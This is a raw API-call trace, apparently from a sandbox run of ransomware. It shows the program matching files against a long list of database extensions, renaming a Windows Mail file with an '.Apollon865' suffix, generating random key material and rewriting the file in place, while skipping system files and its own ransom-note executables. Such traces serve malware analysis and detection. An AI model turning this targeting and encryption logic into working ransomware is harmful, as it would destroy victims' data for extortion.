	[0057.288] lstrcmpiW (lpString1="jrs", lpString2="adb") returned 1
	[0057.288] lstrlenW (lpString="ade") returned 3
	[0057.288] lstrcmpiW (lpString1="jrs", lpString2="ade") returned 1
	[0057.288] lstrlenW (lpString="adf") returned 3
	[0057.288] lstrcmpiW (lpString1="jrs", lpString2="adf") returned 1
	[0057.288] lstrlenW (lpString="adn") returned 3
	[0057.288] lstrcmpiW (lpString1="jrs", lpString2="adn") returned 1
	[0057.289] lstrlenW (lpString="adp") returned 3
	[0057.289] lstrcmpiW (lpString1="jrs", lpString2="adp") returned 1
	[0057.289] lstrlenW (lpString="alf") returned 3
	[0057.289] lstrcmpiW (lpString1="jrs", lpString2="alf") returned 1
	[0057.289] lstrlenW (lpString="ask") returned 3
	[0057.289] lstrcmpiW (lpString1="jrs", lpString2="ask") returned 1
	[0057.289] lstrlenW (lpString="btr") returned 3
	[0057.289] lstrcmpiW (lpString1="jrs", lpString2="btr") returned 1
	[0057.289] lstrlenW (lpString="cat") returned 3
	[0057.289] lstrcmpiW (lpString1="jrs", lpString2="cat") returned 1
	[0057.289] lstrlenW (lpString="cdb") returned 3
	[0057.289] lstrcmpiW (lpString1="jrs", lpString2="cdb") returned 1
	[0057.289] lstrlenW (lpString="ckp") returned 3
	[0057.289] lstrcmpiW (lpString1="jrs", lpString2="ckp") returned 1
	[0057.289] lstrlenW (lpString="cma") returned 3
	[0057.289] lstrcmpiW (lpString1="jrs", lpString2="cma") returned 1
	[0057.289] lstrlenW (lpString="cpd") returned 3
	[0057.289] lstrcmpiW (lpString1="jrs", lpString2="cpd") returned 1
	[0057.289] lstrlenW (lpString="dacpac") returned 6
	[0057.289] lstrcmpiW (lpString1="02.jrs", lpString2="dacpac") returned -1
	[0057.289] lstrlenW (lpString="dad") returned 3
	[0057.289] lstrcmpiW (lpString1="jrs", lpString2="dad") returned 1
	[0057.289] lstrlenW (lpString="dadiagrams") returned 10
	[0057.289] lstrcmpiW (lpString1="s00002.jrs", lpString2="dadiagrams") returned 1
	[0057.289] lstrlenW (lpString="daschema") returned 8
	[0057.289] lstrcmpiW (lpString1="0002.jrs", lpString2="daschema") returned -1
	[0057.289] lstrlenW (lpString="db-journal") returned 10
	[0057.289] lstrcmpiW (lpString1="s00002.jrs", lpString2="db-journal") returned 1
	[0057.289] lstrlenW (lpString="db-shm") returned 6
	[0057.289] lstrcmpiW (lpString1="02.jrs", lpString2="db-shm") returned -1
	[0057.289] lstrlenW (lpString="db-wal") returned 6
	[0057.289] lstrcmpiW (lpString1="02.jrs", lpString2="db-wal") returned -1
	[0057.289] lstrlenW (lpString="dbc") returned 3
	[0057.289] lstrcmpiW (lpString1="jrs", lpString2="dbc") returned 1
	[0057.289] lstrlenW (lpString="dbs") returned 3
	[0057.290] lstrcmpiW (lpString1="jrs", lpString2="dbs") returned 1
	[0057.290] lstrlenW (lpString="dbt") returned 3
	[0057.290] lstrcmpiW (lpString1="jrs", lpString2="dbt") returned 1
	[0057.290] lstrlenW (lpString="dbv") returned 3
	[0057.290] lstrcmpiW (lpString1="jrs", lpString2="dbv") returned 1
	[0057.290] lstrlenW (lpString="dbx") returned 3
	[0057.290] lstrcmpiW (lpString1="jrs", lpString2="dbx") returned 1
	[0057.290] lstrlenW (lpString="dcb") returned 3
	[0057.290] lstrcmpiW (lpString1="jrs", lpString2="dcb") returned 1
	[0057.290] lstrlenW (lpString="dct") returned 3
	[0057.290] lstrcmpiW (lpString1="jrs", lpString2="dct") returned 1
	[0057.290] lstrlenW (lpString="dcx") returned 3
	[0057.290] lstrcmpiW (lpString1="jrs", lpString2="dcx") returned 1
	[0057.290] lstrlenW (lpString="ddl") returned 3
	[0057.290] lstrcmpiW (lpString1="jrs", lpString2="ddl") returned 1
	[0057.290] lstrlenW (lpString="dlis") returned 4
	[0057.290] lstrcmpiW (lpString1=".jrs", lpString2="dlis") returned -1
	[0057.290] lstrlenW (lpString="dp1") returned 3
	[0057.290] lstrcmpiW (lpString1="jrs", lpString2="dp1") returned 1
	[0057.290] lstrlenW (lpString="dqy") returned 3
	[0057.290] lstrcmpiW (lpString1="jrs", lpString2="dqy") returned 1
	[0057.290] lstrlenW (lpString="dsk") returned 3
	[0057.290] lstrcmpiW (lpString1="jrs", lpString2="dsk") returned 1
	[0057.290] lstrlenW (lpString="dsn") returned 3
	[0057.290] lstrcmpiW (lpString1="jrs", lpString2="dsn") returned 1
	[0057.290] lstrlenW (lpString="dtsx") returned 4
	[0057.290] lstrcmpiW (lpString1=".jrs", lpString2="dtsx") returned -1
	[0057.290] lstrlenW (lpString="dxl") returned 3
	[0057.290] lstrcmpiW (lpString1="jrs", lpString2="dxl") returned 1
	[0057.290] lstrlenW (lpString="eco") returned 3
	[0057.290] lstrcmpiW (lpString1="jrs", lpString2="eco") returned 1
	[0057.290] lstrlenW (lpString="ecx") returned 3
	[0057.290] lstrcmpiW (lpString1="jrs", lpString2="ecx") returned 1
	[0057.290] lstrlenW (lpString="edb") returned 3
	[0057.290] lstrcmpiW (lpString1="jrs", lpString2="edb") returned 1
	[0057.291] lstrlenW (lpString="epim") returned 4
	[0057.291] lstrcmpiW (lpString1=".jrs", lpString2="epim") returned -1
	[0057.291] lstrlenW (lpString="fcd") returned 3
	[0057.291] lstrcmpiW (lpString1="jrs", lpString2="fcd") returned 1
	[0057.291] lstrlenW (lpString="fdb") returned 3
	[0057.291] lstrcmpiW (lpString1="jrs", lpString2="fdb") returned 1
	[0057.291] lstrlenW (lpString="fic") returned 3
	[0057.291] lstrcmpiW (lpString1="jrs", lpString2="fic") returned 1
	[0057.291] lstrlenW (lpString="flexolibrary") returned 12
	[0057.291] lstrcmpiW (lpString1="res00002.jrs", lpString2="flexolibrary") returned 1
	[0057.291] lstrlenW (lpString="fm5") returned 3
	[0057.291] lstrcmpiW (lpString1="jrs", lpString2="fm5") returned 1
	[0057.291] lstrlenW (lpString="fmp") returned 3
	[0057.291] lstrcmpiW (lpString1="jrs", lpString2="fmp") returned 1
	[0057.291] lstrlenW (lpString="fmp12") returned 5
	[0057.291] lstrcmpiW (lpString1="2.jrs", lpString2="fmp12") returned -1
	[0057.291] lstrlenW (lpString="fmpsl") returned 5
	[0057.291] lstrcmpiW (lpString1="2.jrs", lpString2="fmpsl") returned -1
	[0057.291] lstrlenW (lpString="fol") returned 3
	[0057.291] lstrcmpiW (lpString1="jrs", lpString2="fol") returned 1
	[0057.291] lstrlenW (lpString="fp3") returned 3
	[0057.291] lstrcmpiW (lpString1="jrs", lpString2="fp3") returned 1
	[0057.291] lstrlenW (lpString="fp4") returned 3
	[0057.291] lstrcmpiW (lpString1="jrs", lpString2="fp4") returned 1
	[0057.291] lstrlenW (lpString="fp5") returned 3
	[0057.291] lstrcmpiW (lpString1="jrs", lpString2="fp5") returned 1
	[0057.291] lstrlenW (lpString="fp7") returned 3
	[0057.291] lstrcmpiW (lpString1="jrs", lpString2="fp7") returned 1
	[0057.291] lstrlenW (lpString="fpt") returned 3
	[0057.291] lstrcmpiW (lpString1="jrs", lpString2="fpt") returned 1
	[0057.291] lstrlenW (lpString="frm") returned 3
	[0057.291] lstrcmpiW (lpString1="jrs", lpString2="frm") returned 1
	[0057.291] lstrlenW (lpString="gdb") returned 3
	[0057.291] lstrcmpiW (lpString1="jrs", lpString2="gdb") returned 1
	[0057.292] lstrlenW (lpString="gdb") returned 3
	[0057.292] lstrcmpiW (lpString1="jrs", lpString2="gdb") returned 1
	[0057.292] lstrlenW (lpString="grdb") returned 4
	[0057.292] lstrcmpiW (lpString1=".jrs", lpString2="grdb") returned -1
	[0057.292] lstrlenW (lpString="gwi") returned 3
	[0057.292] lstrcmpiW (lpString1="jrs", lpString2="gwi") returned 1
	[0057.292] lstrlenW (lpString="hdb") returned 3
	[0057.292] lstrcmpiW (lpString1="jrs", lpString2="hdb") returned 1
	[0057.292] lstrlenW (lpString="his") returned 3
	[0057.292] lstrcmpiW (lpString1="jrs", lpString2="his") returned 1
	[0057.292] lstrlenW (lpString="ib") returned 2
	[0057.292] lstrcmpiW (lpString1="rs", lpString2="ib") returned 1
	[0057.292] lstrlenW (lpString="idb") returned 3
	[0057.292] lstrcmpiW (lpString1="jrs", lpString2="idb") returned 1
	[0057.292] lstrlenW (lpString="ihx") returned 3
	[0057.292] lstrcmpiW (lpString1="jrs", lpString2="ihx") returned 1
	[0057.292] lstrlenW (lpString="itdb") returned 4
	[0057.292] lstrcmpiW (lpString1=".jrs", lpString2="itdb") returned -1
	[0057.292] lstrlenW (lpString="itw") returned 3
	[0057.292] lstrcmpiW (lpString1="jrs", lpString2="itw") returned 1
	[0057.292] lstrlenW (lpString="jet") returned 3
	[0057.292] lstrcmpiW (lpString1="jrs", lpString2="jet") returned 1
	[0057.292] lstrlenW (lpString="jtx") returned 3
	[0057.292] lstrcmpiW (lpString1="jrs", lpString2="jtx") returned -1
	[0057.292] lstrlenW (lpString="kdb") returned 3
	[0057.292] lstrcmpiW (lpString1="jrs", lpString2="kdb") returned -1
	[0057.292] lstrlenW (lpString="kexi") returned 4
	[0057.292] lstrcmpiW (lpString1=".jrs", lpString2="kexi") returned -1
	[0057.292] lstrlenW (lpString="kexic") returned 5
	[0057.292] lstrcmpiW (lpString1="2.jrs", lpString2="kexic") returned -1
	[0057.292] lstrlenW (lpString="kexis") returned 5
	[0057.292] lstrcmpiW (lpString1="2.jrs", lpString2="kexis") returned -1
	[0057.292] lstrlenW (lpString="lgc") returned 3
	[0057.292] lstrcmpiW (lpString1="jrs", lpString2="lgc") returned -1
	[0057.292] lstrlenW (lpString="lwx") returned 3
	[0057.293] lstrcmpiW (lpString1="jrs", lpString2="lwx") returned -1
	[0057.293] lstrlenW (lpString="maf") returned 3
	[0057.293] lstrcmpiW (lpString1="jrs", lpString2="maf") returned -1
	[0057.293] lstrlenW (lpString="maq") returned 3
	[0057.293] lstrcmpiW (lpString1="jrs", lpString2="maq") returned -1
	[0057.293] lstrlenW (lpString="mar") returned 3
	[0057.293] lstrcmpiW (lpString1="jrs", lpString2="mar") returned -1
	[0057.293] lstrlenW (lpString="marshal") returned 7
	[0057.293] lstrcmpiW (lpString1="002.jrs", lpString2="marshal") returned -1
	[0057.293] lstrlenW (lpString="mas") returned 3
	[0057.293] lstrcmpiW (lpString1="jrs", lpString2="mas") returned -1
	[0057.293] lstrlenW (lpString="mav") returned 3
	[0057.293] lstrcmpiW (lpString1="jrs", lpString2="mav") returned -1
	[0057.293] lstrlenW (lpString="maw") returned 3
	[0057.293] lstrcmpiW (lpString1="jrs", lpString2="maw") returned -1
	[0057.293] lstrlenW (lpString="mdbhtml") returned 7
	[0057.293] lstrcmpiW (lpString1="002.jrs", lpString2="mdbhtml") returned -1
	[0057.293] lstrlenW (lpString="mdn") returned 3
	[0057.293] lstrcmpiW (lpString1="jrs", lpString2="mdn") returned -1
	[0057.293] lstrlenW (lpString="mdt") returned 3
	[0057.293] lstrcmpiW (lpString1="jrs", lpString2="mdt") returned -1
	[0057.293] lstrlenW (lpString="mfd") returned 3
	[0057.293] lstrcmpiW (lpString1="jrs", lpString2="mfd") returned -1
	[0057.293] lstrlenW (lpString="mpd") returned 3
	[0057.293] lstrcmpiW (lpString1="jrs", lpString2="mpd") returned -1
	[0057.293] lstrlenW (lpString="mrg") returned 3
	[0057.293] lstrcmpiW (lpString1="jrs", lpString2="mrg") returned -1
	[0057.293] lstrlenW (lpString="mud") returned 3
	[0057.293] lstrcmpiW (lpString1="jrs", lpString2="mud") returned -1
	[0057.293] lstrlenW (lpString="mwb") returned 3
	[0057.293] lstrcmpiW (lpString1="jrs", lpString2="mwb") returned -1
	[0057.293] lstrlenW (lpString="myd") returned 3
	[0057.293] lstrcmpiW (lpString1="jrs", lpString2="myd") returned -1
	[0057.293] lstrlenW (lpString="ndf") returned 3
	[0057.294] lstrcmpiW (lpString1="jrs", lpString2="ndf") returned -1
	[0057.294] lstrlenW (lpString="nnt") returned 3
	[0057.294] lstrcmpiW (lpString1="jrs", lpString2="nnt") returned -1
	[0057.294] lstrlenW (lpString="nrmlib") returned 6
	[0057.294] lstrcmpiW (lpString1="02.jrs", lpString2="nrmlib") returned -1
	[0057.294] lstrlenW (lpString="ns2") returned 3
	[0057.294] lstrcmpiW (lpString1="jrs", lpString2="ns2") returned -1
	[0057.294] lstrlenW (lpString="ns3") returned 3
	[0057.294] lstrcmpiW (lpString1="jrs", lpString2="ns3") returned -1
	[0057.294] lstrlenW (lpString="ns4") returned 3
	[0057.294] lstrcmpiW (lpString1="jrs", lpString2="ns4") returned -1
	[0057.294] lstrlenW (lpString="nsf") returned 3
	[0057.294] lstrcmpiW (lpString1="jrs", lpString2="nsf") returned -1
	[0057.294] lstrlenW (lpString="nv") returned 2
	[0057.294] lstrcmpiW (lpString1="rs", lpString2="nv") returned 1
	[0057.294] lstrlenW (lpString="nv2") returned 3
	[0057.294] lstrcmpiW (lpString1="jrs", lpString2="nv2") returned -1
	[0057.294] lstrlenW (lpString="nwdb") returned 4
	[0057.294] lstrcmpiW (lpString1=".jrs", lpString2="nwdb") returned -1
	[0057.294] lstrlenW (lpString="nyf") returned 3
	[0057.294] lstrcmpiW (lpString1="jrs", lpString2="nyf") returned -1
	[0057.294] lstrlenW (lpString="odb") returned 3
	[0057.294] lstrcmpiW (lpString1="jrs", lpString2="odb") returned -1
	[0057.294] lstrlenW (lpString="odb") returned 3
	[0057.294] lstrcmpiW (lpString1="jrs", lpString2="odb") returned -1
	[0057.294] lstrlenW (lpString="oqy") returned 3
	[0057.294] lstrcmpiW (lpString1="jrs", lpString2="oqy") returned -1
	[0057.294] lstrlenW (lpString="ora") returned 3
	[0057.294] lstrcmpiW (lpString1="jrs", lpString2="ora") returned -1
	[0057.294] lstrlenW (lpString="orx") returned 3
	[0057.294] lstrcmpiW (lpString1="jrs", lpString2="orx") returned -1
	[0057.294] lstrlenW (lpString="owc") returned 3
	[0057.294] lstrcmpiW (lpString1="jrs", lpString2="owc") returned -1
	[0057.294] lstrlenW (lpString="p96") returned 3
	[0057.294] lstrcmpiW (lpString1="jrs", lpString2="p96") returned -1
	[0057.295] lstrlenW (lpString="p97") returned 3
	[0057.295] lstrcmpiW (lpString1="jrs", lpString2="p97") returned -1
	[0057.295] lstrlenW (lpString="pan") returned 3
	[0057.295] lstrcmpiW (lpString1="jrs", lpString2="pan") returned -1
	[0057.295] lstrlenW (lpString="pdb") returned 3
	[0057.295] lstrcmpiW (lpString1="jrs", lpString2="pdb") returned -1
	[0057.295] lstrlenW (lpString="pdm") returned 3
	[0057.295] lstrcmpiW (lpString1="jrs", lpString2="pdm") returned -1
	[0057.295] lstrlenW (lpString="pnz") returned 3
	[0057.295] lstrcmpiW (lpString1="jrs", lpString2="pnz") returned -1
	[0057.295] lstrlenW (lpString="qry") returned 3
	[0057.295] lstrcmpiW (lpString1="jrs", lpString2="qry") returned -1
	[0057.295] lstrlenW (lpString="qvd") returned 3
	[0057.295] lstrcmpiW (lpString1="jrs", lpString2="qvd") returned -1
	[0057.295] lstrlenW (lpString="rbf") returned 3
	[0057.295] lstrcmpiW (lpString1="jrs", lpString2="rbf") returned -1
	[0057.295] lstrlenW (lpString="rctd") returned 4
	[0057.295] lstrcmpiW (lpString1=".jrs", lpString2="rctd") returned -1
	[0057.295] lstrlenW (lpString="rod") returned 3
	[0057.295] lstrcmpiW (lpString1="jrs", lpString2="rod") returned -1
	[0057.295] lstrlenW (lpString="rodx") returned 4
	[0057.295] lstrcmpiW (lpString1=".jrs", lpString2="rodx") returned -1
	[0057.295] lstrlenW (lpString="rpd") returned 3
	[0057.295] lstrcmpiW (lpString1="jrs", lpString2="rpd") returned -1
	[0057.295] lstrlenW (lpString="rsd") returned 3
	[0057.295] lstrcmpiW (lpString1="jrs", lpString2="rsd") returned -1
	[0057.295] lstrlenW (lpString="sas7bdat") returned 8
	[0057.295] lstrcmpiW (lpString1="0002.jrs", lpString2="sas7bdat") returned -1
	[0057.295] lstrlenW (lpString="sbf") returned 3
	[0057.295] lstrcmpiW (lpString1="jrs", lpString2="sbf") returned -1
	[0057.295] lstrlenW (lpString="scx") returned 3
	[0057.295] lstrcmpiW (lpString1="jrs", lpString2="scx") returned -1
	[0057.295] lstrlenW (lpString="sdb") returned 3
	[0057.295] lstrcmpiW (lpString1="jrs", lpString2="sdb") returned -1
	[0057.295] lstrlenW (lpString="sdc") returned 3
	[0057.296] lstrcmpiW (lpString1="jrs", lpString2="sdc") returned -1
	[0057.296] lstrlenW (lpString="sdf") returned 3
	[0057.296] lstrcmpiW (lpString1="jrs", lpString2="sdf") returned -1
	[0057.296] lstrlenW (lpString="sis") returned 3
	[0057.296] lstrcmpiW (lpString1="jrs", lpString2="sis") returned -1
	[0057.296] lstrlenW (lpString="spq") returned 3
	[0057.296] lstrcmpiW (lpString1="jrs", lpString2="spq") returned -1
	[0057.296] lstrlenW (lpString="te") returned 2
	[0057.296] lstrcmpiW (lpString1="rs", lpString2="te") returned -1
	[0057.296] lstrlenW (lpString="teacher") returned 7
	[0057.296] lstrcmpiW (lpString1="002.jrs", lpString2="teacher") returned -1
	[0057.296] lstrlenW (lpString="tmd") returned 3
	[0057.296] lstrcmpiW (lpString1="jrs", lpString2="tmd") returned -1
	[0057.296] lstrlenW (lpString="tps") returned 3
	[0057.296] lstrcmpiW (lpString1="jrs", lpString2="tps") returned -1
	[0057.296] lstrlenW (lpString="trc") returned 3
	[0057.296] lstrcmpiW (lpString1="jrs", lpString2="trc") returned -1
	[0057.296] lstrlenW (lpString="trc") returned 3
	[0057.296] lstrcmpiW (lpString1="jrs", lpString2="trc") returned -1
	[0057.296] lstrlenW (lpString="trm") returned 3
	[0057.296] lstrcmpiW (lpString1="jrs", lpString2="trm") returned -1
	[0057.296] lstrlenW (lpString="udb") returned 3
	[0057.296] lstrcmpiW (lpString1="jrs", lpString2="udb") returned -1
	[0057.296] lstrlenW (lpString="udl") returned 3
	[0057.296] lstrcmpiW (lpString1="jrs", lpString2="udl") returned -1
	[0057.296] lstrlenW (lpString="usr") returned 3
	[0057.296] lstrcmpiW (lpString1="jrs", lpString2="usr") returned -1
	[0057.296] lstrlenW (lpString="v12") returned 3
	[0057.296] lstrcmpiW (lpString1="jrs", lpString2="v12") returned -1
	[0057.296] lstrlenW (lpString="vis") returned 3
	[0057.296] lstrcmpiW (lpString1="jrs", lpString2="vis") returned -1
	[0057.296] lstrlenW (lpString="vpd") returned 3
	[0057.296] lstrcmpiW (lpString1="jrs", lpString2="vpd") returned -1
	[0057.296] lstrlenW (lpString="vvv") returned 3
	[0057.297] lstrcmpiW (lpString1="jrs", lpString2="vvv") returned -1
	[0057.297] lstrlenW (lpString="wdb") returned 3
	[0057.297] lstrcmpiW (lpString1="jrs", lpString2="wdb") returned -1
	[0057.297] lstrlenW (lpString="wmdb") returned 4
	[0057.297] lstrcmpiW (lpString1=".jrs", lpString2="wmdb") returned -1
	[0057.297] lstrlenW (lpString="wrk") returned 3
	[0057.297] lstrcmpiW (lpString1="jrs", lpString2="wrk") returned -1
	[0057.297] lstrlenW (lpString="xdb") returned 3
	[0057.297] lstrcmpiW (lpString1="jrs", lpString2="xdb") returned -1
	[0057.297] lstrlenW (lpString="xld") returned 3
	[0057.297] lstrcmpiW (lpString1="jrs", lpString2="xld") returned -1
	[0057.297] lstrlenW (lpString="xmlff") returned 5
	[0057.297] lstrcmpiW (lpString1="2.jrs", lpString2="xmlff") returned -1
	[0057.297] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs.Apollon865") returned 80
	[0057.297] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs.apollon865"), dwFlags=0x1) returned 1
	[0057.298] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0057.299] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=2097152) returned 1
	[0057.299] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0057.299] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0057.299] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0057.299] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0057.300] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0057.300] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0057.300] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x200300, lpName=0x0) returned 0x118
	[0057.302] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x300) returned 0x100000
	[0057.302] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3270000
	[0057.935] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0057.937] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0057.937] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0057.937] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0057.937] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0057.938] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0057.938] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0057.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0057.938] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0057.938] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0057.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0057.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0057.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0057.938] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0057.938] CloseHandle (hObject=0x118) returned 1
	[0057.938] CloseHandle (hObject=0x150) returned 1
	[0057.939] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0057.939] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0057.939] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0057.958] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e8aedf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e8aedf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0057.958] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0057.958] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e8d4f50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oeold.xml.Apollon865", cAlternateFileName="OEOLDX~1.APO")) returned 1
	[0057.958] lstrcmpiW (lpString1="oeold.xml.Apollon865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.958] lstrcmpiW (lpString1="oeold.xml.Apollon865", lpString2="Apollon865.txt.exe") returned 1
	[0057.958] lstrcmpiW (lpString1="oeold.xml.Apollon865", lpString2=".") returned 1
	[0057.958] lstrcmpiW (lpString1="oeold.xml.Apollon865", lpString2="..") returned 1
	[0057.958] lstrcmpiW (lpString1="oeold.xml.Apollon865", lpString2="windows") returned -1
	[0057.958] lstrcmpiW (lpString1="oeold.xml.Apollon865", lpString2="bootmgr") returned 1
	[0057.958] lstrcmpiW (lpString1="oeold.xml.Apollon865", lpString2="temp") returned -1
	[0057.958] lstrcmpiW (lpString1="oeold.xml.Apollon865", lpString2="pagefile.sys") returned -1
	[0057.958] lstrcmpiW (lpString1="oeold.xml.Apollon865", lpString2="boot") returned 1
	[0057.958] lstrcmpiW (lpString1="oeold.xml.Apollon865", lpString2="ids.txt") returned 1
	[0057.958] lstrcmpiW (lpString1="oeold.xml.Apollon865", lpString2="ntuser.dat") returned 1
	[0057.958] lstrcmpiW (lpString1="oeold.xml.Apollon865", lpString2="perflogs") returned -1
	[0057.958] lstrcmpiW (lpString1="oeold.xml.Apollon865", lpString2="MSBuild") returned 1
	[0057.958] lstrlenW (lpString="oeold.xml.Apollon865") returned 20
	[0057.958] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs") returned 69
	[0057.959] lstrcpyW (in: lpString1=0x119e674, lpString2="oeold.xml.Apollon865" | out: lpString1="oeold.xml.Apollon865") returned="oeold.xml.Apollon865"
	[0057.959] lstrlenW (lpString="oeold.xml.Apollon865") returned 20
	[0057.959] lstrlenW (lpString="Apollon865") returned 10
	[0057.959] lstrcmpiW (lpString1="Apollon865", lpString2="Apollon865") returned 0
	[0057.959] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e921210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e921210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0057.959] lstrcmpiW (lpString1="Stationery", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.959] lstrcmpiW (lpString1="Stationery", lpString2="Apollon865.txt.exe") returned 1
	[0057.959] lstrcmpiW (lpString1="Stationery", lpString2=".") returned 1
	[0057.959] lstrcmpiW (lpString1="Stationery", lpString2="..") returned 1
	[0057.959] lstrcmpiW (lpString1="Stationery", lpString2="windows") returned -1
	[0057.959] lstrcmpiW (lpString1="Stationery", lpString2="bootmgr") returned 1
	[0057.959] lstrcmpiW (lpString1="Stationery", lpString2="temp") returned -1
	[0057.959] lstrcmpiW (lpString1="Stationery", lpString2="pagefile.sys") returned 1
	[0057.959] lstrcmpiW (lpString1="Stationery", lpString2="boot") returned 1
	[0057.959] lstrcmpiW (lpString1="Stationery", lpString2="ids.txt") returned 1
	[0057.959] lstrcmpiW (lpString1="Stationery", lpString2="ntuser.dat") returned 1
	[0057.959] lstrcmpiW (lpString1="Stationery", lpString2="perflogs") returned 1
	[0057.959] lstrcmpiW (lpString1="Stationery", lpString2="MSBuild") returned 1
	[0057.959] lstrlenW (lpString="Stationery") returned 10
	[0057.959] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.Apollon865") returned 74
	[0057.959] lstrcpyW (in: lpString1=0x119e674, lpString2="Stationery" | out: lpString1="Stationery") returned="Stationery"
